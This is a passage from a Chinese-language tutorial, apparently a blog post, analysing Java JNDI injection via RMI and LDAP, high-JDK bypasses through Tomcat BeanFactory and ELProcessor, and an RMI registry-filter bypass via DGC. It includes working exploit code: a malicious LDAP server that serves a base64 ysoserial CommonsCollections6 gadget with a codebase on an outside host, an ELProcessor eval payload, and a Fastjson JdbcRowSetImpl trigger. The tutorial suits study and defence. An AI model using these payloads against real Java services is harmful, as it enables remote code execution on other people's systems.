return loadClass(className, cl);
}

在return中的loadClass中,会去cl中的url路径下找类,然后进行加载

同时这个加载也是进行初始化的加载,若我的恶意代码写在静态代码块的地方,现在计算机已经弹出来了,但是我们的恶意代写在的是构造函数中,必须需要实例化

1
2
3
4
5
Class<?> loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
}

而实例化刚好在getObjectFactoryFromReference之中,实例化后就执行了恶意的代码

1
2
3
4
5
6
7
8
9
10
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
......

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

总结

这里存在两个攻击面:
  1. rmi原生问题(这里就没有演示了)
  2. jndi注入

JNDI结合LDAP

LDAP不是java的东西,而是一个通用协议

在jdk8u121后,修复了RMI和COBAR的攻击点,唯独漏下一个LDAP(8u191),所以我们接下来看一下

实现

1
2
3
4
5
6
7
public class JNDILDAPServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
Reference refObj = new Reference("TestRef","TestRef","http://localhost:7777/");
initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com", refObj);
}
}

这里我们使用apache Directory Studio来创建一个LDAP服务

启动起来**(这里搞了好久,最后更换jdk11才成功启动)**

我们这里可以看到,已经成功绑定上去了

然后我们创建一个客户端,使用lookup方法去查找一下(还和之前一样,在TestRef.class的位置开启一个http服务)

1
2
3
4
5
6
public class JNDILDAPClient {
public static void main(String[] args) throws Exception {
InitialContext ic = new InitialContext();
ic.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
}
}

将LDAP客户端运行起来,就成功弹出了计算器

分析

经过一系列的lookup调用,最终走到了LdapCtx#c_lookup中,通过调用DirectoryManager.getObjectInstance,走出协议对应的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
var2.setError(this, var1);
......

try {
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
} catch (NamingException var16) {
throw var2.fillInException(var16);
} catch (Exception var17) {
NamingException var24 = new NamingException("problem generating object using object factory");
var24.setRootCause(var17);
throw var2.fillInException(var24);
}
}

走入DirectoryManager#getObjectInstance后,我们发现和rmi的的后半段是基本一样的,进入getObjectFactoryFromReference

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment, Attributes attrs)
throws Exception {

......

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
ref, name, nameCtx, environment, attrs);
} else if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
return refInfo;

} ......
}

这里就和rmi一样了,首先进行本地类加载,若在本地没有找到,则从codebase中查找,若找到则进行类加载,最后进行类的初始化,触发构造函数,弹出计算机

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

JDK高版本绕过

JDK8u191之后

本地恶意CLass绕过

在jdk8u191后,LDAP已经修复,在进行codebase远程类加载时候,添加了一个限制条件

如果trustURLCodebase为true时,才能进行远程类加载

更换高版本后,原来的给攻击既不弹计算器,也不会报错

···

既然他不能远程加载对象了,那我们可以想想,是否有本地工厂,可以利用呢?

该恶意Factory必须实现javax.naming.spi.ObjectFactory接口,并实现getObjectInstance()方法

在tomcat的核心包中,存在着一个BeanFactory,它的getObjectInstance方法存在着反射调用的地方,如果说我们这里参数可控,则可以造成代码执行,因此我们这个高版本绕过,是基于tomcat环境的(方法很长,大部分省略)

1
2
3
4
5
6
7
8
9
10
11
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
try {
.......
try {
method.invoke(bean, valueArray);
}
......
}
......
}
实现
我在这里起一个RMI环境
1
2
3
4
5
6
7
public class RMIServer {
public static void main(String[] args) throws Exception {
IRemoteObj remoteObj = new RemoteObjImpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("remoteObj",remoteObj);
}
}

然后起将一个ResourceRef绑定到remoteObj上面,使用客户端的lookup方法进行查询,即可执行恶意代码

1
2
3
4
5
6
7
8
9
10
public class JNDIRMIByPass {
public static void main(String[] args) throws Exception {

InitialContext initialContext= new InitialContext();
ResourceRef ref = new ResourceRef("javax.el.ElProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString","x=eval"));
ref.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')"));
initialContext.rebind("rmi://localhost:1099/remoteObj",ref);
}
}

分析

与前面的调用相类似,经过一些lookup方法的调用,和decodeObject方法过后,走到NamingManager#getObjectInstance中,执行getObjectFactoryFromReference方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
......

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

}
......
}

在这个方法中,首先会在本地进行类加载,与之前的不同,这次可以在本地找到BeanFactory,即可在本地进行加载,最后return时候进行实例化,我们即可获得一个BeanFactory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

返回后,接下来我们要走到factory.getObjectInstance(ref, name, nameCtx,environment)中,也就是BeanFactory#getObjectInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException var25) {
ClassNotFoundException e = var25;
e.printStackTrace();
}
}

if (beanClass == null) {
throw new NamingException("Class not found: " + beanClassName);
} else {
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.getConstructor().newInstance();
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap();
String value;
String propName;
int i;
if (ra != null) {
value = (String)ra.getContent();
Class<?>[] paramTypes = new Class[]{String.class};
String[] arr$ = value.split(",");
i = arr$.length;

for(int i$ = 0; i$ < i; ++i$) {
String param = arr$[i$];
param = param.trim();
int index = param.indexOf(61);
if (index >= 0) {
propName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}

try {
forced.put(param, beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + propName + " not found for property " + param);
}
}
}

Enumeration<RefAddr> e = ref.getAll();

while(true) {
while(true) {
do {
do {
do {
do {
do {
if (!e.hasMoreElements()) {
return bean;
}

ra = (RefAddr)e.nextElement();
propName = ra.getType();
} while(propName.equals("factory"));
} while(propName.equals("scope"));
} while(propName.equals("auth"));
} while(propName.equals("forceString"));
} while(propName.equals("singleton"));

value = (String)ra.getContent();
Object[] valueArray = new Object[1];
Method method = (Method)forced.get(propName);
if (method != null) {
valueArray[0] = value;

try {
method.invoke(bean, valueArray);
} catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
}
}
}
}
}
}
} else {
return null;
}
}

ra是从引用里获取forceString,我们这里传入的值为x=eval

这里会检查,是否存在=(等于号的ascii为61),不存在就会调用默认属性的setter方法,存在就会取其键值,键为属性名,而值是其指定的setter方法

这里这段代码,把x的setter强行指定为eval方法,这就是我们的关键利用点,之后就会获取beanClass

javax.el.ELProcessoreval方法并同x属性一同放入forced这个HashMap

接着是多个 do while 语句来遍历获取 ResourceRef 类实例 addr 属性的元素,当获取到 addrType 为 x 的元素时退出当前所有循环,然后调用getContent()方法来获取x属性对应的 contents 即恶意表达式。这里就是恶意 RMI 服务端中 ResourceRef 类实例添加的第二个元素

获取到类型为x对应的内容为恶意表达式后,从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量,最后就是通过method.invoke()即反射调用的来执行

LDAP返回序列化数据,触发本地Target

LDAP除了支持JNDI Reference这种利用方法,还支持直接返回一个序列化的对象,若Java对象的javaSerializedData属性不为空,则客户端的obj.decodeObject()方法就会最这个字段的内容进行反序列化

若服务端的ClassPath中存在反序列化利用点的Gadget,例如CC依赖等等,就可以实现LDAP结合该Garget实现反序列化漏洞攻击

我们这里使用CC6来实现攻击

1
java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64
1
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=

恶意LDAP服务器如下(服务端和客户端都要导入CC依赖)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import com.unboundid.util.Base64;  
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class JNDIGadgetServer {

private static final String LDAP_BASE = "dc=example,dc=com";


public static void main (String[] args) {

String url = "http://vps:8000/#ExportObject";
int port = 1234;


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}


// Payload2: 返回序列化Gadget
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException exception) {
exception.printStackTrace();
}

result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

客户端代码,这里有两种触发方式,一种lookup,还有一种fastjson

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.alibaba.fastjson.JSON;  

import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIGadgetClient {
public static void main(String[] args) throws Exception {
// lookup参数注入触发
Context context = new InitialContext();
context.lookup("ldap://localhost:1234/ExportObject");

// Fastjson反序列化JNDI注入Gadget触发
String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
}
}

RMI之Java高版本绕过

Java高版本限制

在Java高版本中,在RegistryImpl类中新加了一个registryFilter方法,里面对所传入的序列化对象的类型进行了限制

1
2
3
4
5
6
7
8
9
10
11
12
if (String.class == clazz
|| java.lang.Number.class.isAssignableFrom(clazz)
|| Remote.class.isAssignableFrom(clazz)
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|| UnicastRef.class.isAssignableFrom(clazz)
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
} else {
return ObjectInputFilter.Status.REJECTED;
}

绕过分析

调用流程

其中有希望利用的只有ProxyUnicastRef类,其中最重要的是UnicastRef类,在这个类中有一个invoke方法 ,在修复以后,客户端的被攻击点是没有被修复的,我们就想如果能让服务端去发送一个客户端请求,就会暴露出攻击点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public void invoke(RemoteCall var1) throws Exception {
try {
clientRefLog.log(Log.VERBOSE, "execute call");
var1.executeCall();
} catch (RemoteException var3) {
clientRefLog.log(Log.BRIEF, "exception: ", var3);
this.free(var1, false);
throw var3;
} catch (Error var4) {
clientRefLog.log(Log.BRIEF, "error: ", var4);
this.free(var1, false);
throw var4;
} catch (RuntimeException var5) {
clientRefLog.log(Log.BRIEF, "exception: ", var5);
this.free(var1, false);
throw var5;
} catch (Exception var6) {
clientRefLog.log(Log.BRIEF, "exception: ", var6);
this.free(var1, true);
throw var6;
}
}

我们的想法是找一个地方去调用Util.createProxy创建一个动态代理类,我们找到的是DGC这个类可以被利用,然后调用它的clean或者dirty方法去触发他的invoke方法

我们直接走向最终找到的DGCClient内部类的EndpointEntry的构造方法方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private EndpointEntry(final Endpoint endpoint) {
this.endpoint = endpoint;
try {
LiveRef dgcRef = new LiveRef(dgcID, endpoint, false);
dgc = (DGC) Util.createProxy(DGCImpl.class,
new UnicastRef(dgcRef), true);
} catch (RemoteException e) {
throw new Error("internal error creating DGC stub");
}
renewCleanThread = AccessController.doPrivileged(
new NewThreadAction(new RenewCleanThread(),
"RenewClean-" + endpoint, true));
renewCleanThread.start();
}

接下来我们找哪里去创建了这么一个类,在EndpointEntry中的lookup方法中创建了这么一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
public static EndpointEntry lookup(Endpoint ep) {
synchronized (endpointTable) {
EndpointEntry entry = endpointTable.get(ep);
if (entry == null) {
entry = new EndpointEntry(ep);
endpointTable.put(ep, entry);
if (gcLatencyRequest == null) {
gcLatencyRequest = GC.requestLatency(gcInterval);
}
}
return entry;
}
}

我们看只有在registerRefs中调用了EndpointEntrylookup方法

1
2
3
4
5
6
7
8
9
10
11
12
13
static void registerRefs(Endpoint ep, List<LiveRef> refs) {
/*
* Look up the given endpoint and register the refs with it.
* The retrieved entry may get removed from the global endpoint
* table before EndpointEntry.registerRefs() is able to acquire
* its lock; in this event, it returns false, and we loop and
* try again.
*/
EndpointEntry epEntry;
do {
epEntry = EndpointEntry.lookup(ep);
} while (!epEntry.registerRefs(refs));
}

我们需要找到一个反序列化利用的点,再向上找,会找到两个调用registerRefs的方法

我们看read方法中,如果这个输入流不是并且不继承于ConnectionInputStream的话,就会调用我们的registerRefs方法,但是这个in是一个ConnectionInputStream,所以我们只能去找另一个方法去利用

1
2
3
4
5
6
7
8
9
10
11
12
13
if (in instanceof ConnectionInputStream) {
ConnectionInputStream stream = (ConnectionInputStream)in;
// save ref to send "dirty" call after all args/returns
// have been unmarshaled.
stream.saveRef(ref);
if (isResultStream) {
// set flag in stream indicating that remote objects were
// unmarshaled. A DGC ack should be sent by the transport.
stream.setAckNeeded();
}
} else {
DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
}

另一个最终的流程是releaseInputStream去调用StreamRemoteCall.registerRefs然后进入到if中(这个判断条件中的incomingRefTable是为空的,我们后续会说怎么走到if里面)调用DGCClient.registerRefs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public void releaseInputStream() throws IOException {
try {
if (in != null) {
try {
in.done();
} catch (RuntimeException e) {
}
in.registerRefs();
in.done(conn);
}
conn.releaseInputStream();
} finally {
in = null;
}
}

void registerRefs() throws IOException {
if (!incomingRefTable.isEmpty()) {
for (Map.Entry<Endpoint, List<LiveRef>> entry :
incomingRefTable.entrySet()) {
DGCClient.registerRefs(entry.getKey(), entry.getValue());
}
}
}

最后调用releaseInputStream的地方就是非常的多了,在许多Skel中都有调用

最后的流程如下,只要调用releaseInputStream,就会创建一个proxy对象

incomingRefTable赋值

实际上反序列化流程,只是为了给incomingRefTable赋值,攻击流程实际是在正常的调用流程中

我们上面说过,这里的值默认是空的,要想走入DGCClient.registerRefs中,我们就应该去找,哪里给incomingRefTable赋值

1
2
3
4
5
6
7
8
void registerRefs() throws IOException {
if (!incomingRefTable.isEmpty()) {
for (Map.Entry<Endpoint, List<LiveRef>> entry :
incomingRefTable.entrySet()) {
DGCClient.registerRefs(entry.getKey(), entry.getValue());
}
}
}

实际这里只有一个地方ConnectionInputStreamsaveRef中,向里面put进去了一个东西,使他不为空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void saveRef(LiveRef ref) {
Endpoint ep = ref.getEndpoint();

// check whether endpoint is already in the hashtable
List<LiveRef> refList = incomingRefTable.get(ep);

if (refList == null) {
refList = new ArrayList<LiveRef>();
incomingRefTable.put(ep, refList);
}

// add ref to list of refs for endpoint ep
refList.add(ref);
}

saveRef也是只有一个地方去调用,就是read方法,我们之前讨论过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static LiveRef read(ObjectInput in, boolean useNewFormat)
throws IOException, ClassNotFoundException
{
......

if (in instanceof ConnectionInputStream) {
ConnectionInputStream stream = (ConnectionInputStream)in;
// save ref to send "dirty" call after all args/returns
// have been unmarshaled.
stream.saveRef(ref);
if (isResultStream) {
// set flag in stream indicating that remote objects were
// unmarshaled. A DGC ack should be sent by the transport.
stream.setAckNeeded();
}
} else {
DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
}

return ref;
}
}

我们看看谁调用了read方法,只有UnicastRefUnicastRef2中的readExternal去调用了read方法

readExternal是一个和readObject类似但不一样的东西,如果所反序列化的类,也有readExternal方法,也会去调用readExternal方法

1
2
3
4
5
public void readExternal(ObjectInput in)
throws IOException, ClassNotFoundException
{
ref = LiveRef.read(in, false);
}

UnicastRef是白名单里面的内容,我们向客户端传入一个UnicastRef对象触发它的readexternal方法

1
2
3
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
this.ref = LiveRef.read(var1, false);
}

进入到LiveRef.read中… 剩下的调用我们就不再重复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static LiveRef read(ObjectInput var0, boolean var1) throws IOException, ClassNotFoundException {
......
if (var0 instanceof ConnectionInputStream) {
ConnectionInputStream var6 = (ConnectionInputStream)var0;
var6.saveRef(var5);
if (var4) {
var6.setAckNeeded();
}
} else {
DGCClient.registerRefs(var2, Arrays.asList(var5));
}

return var5;
}

...

后续会走到EndpointEntry中,在创建完dgc后会走到下面创建一个RenewCleanThread线程

1
2
3
4
5
6
7
8
9
10
11
12
13
private EndpointEntry(Endpoint var1) {
this.endpoint = var1;

try {
LiveRef var2 = new LiveRef(DGCClient.dgcID, var1, false);
this.dgc = (DGC)Util.createProxy(DGCImpl.class, new UnicastRef(var2), true);
} catch (RemoteException var3) {
throw new Error("internal error creating DGC stub");
}

this.renewCleanThread = (Thread)AccessController.doPrivileged(new NewThreadAction(new RenewCleanThread(), "RenewClean-" + var1, true));
this.renewCleanThread.start();
}

RenewCleanThread中,会调用DGCClientmakeDirtyCall方法,而这个方法最终会调用他的dirty方法,就会调用到invoke方法,最终让服务器发送客户端请求

1
2
3
4
5
6
7
8
9
10
11
12
13
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
if (var4) {
EndpointEntry.this.makeDirtyCall(var5, var6);
}

if (!EndpointEntry.this.pendingCleans.isEmpty()) {
EndpointEntry.this.makeCleanCalls();
}

return null;
}
}

RMI攻击方式

前面我们进行了RMI源码层面的分析,这里我们来讨论RMI的攻击方式

RMI攻击基本方式

根据源码层面分析,我们有以下几种基本攻击方式
  • 客户端 打 注册中心
  • 客户端 打 服务端
  • 客户端

攻击注册中心

不管是服务端或者客户端,与注册中心交互主要是下面这句话
1
r.bind("remoteObj",remoteObj);

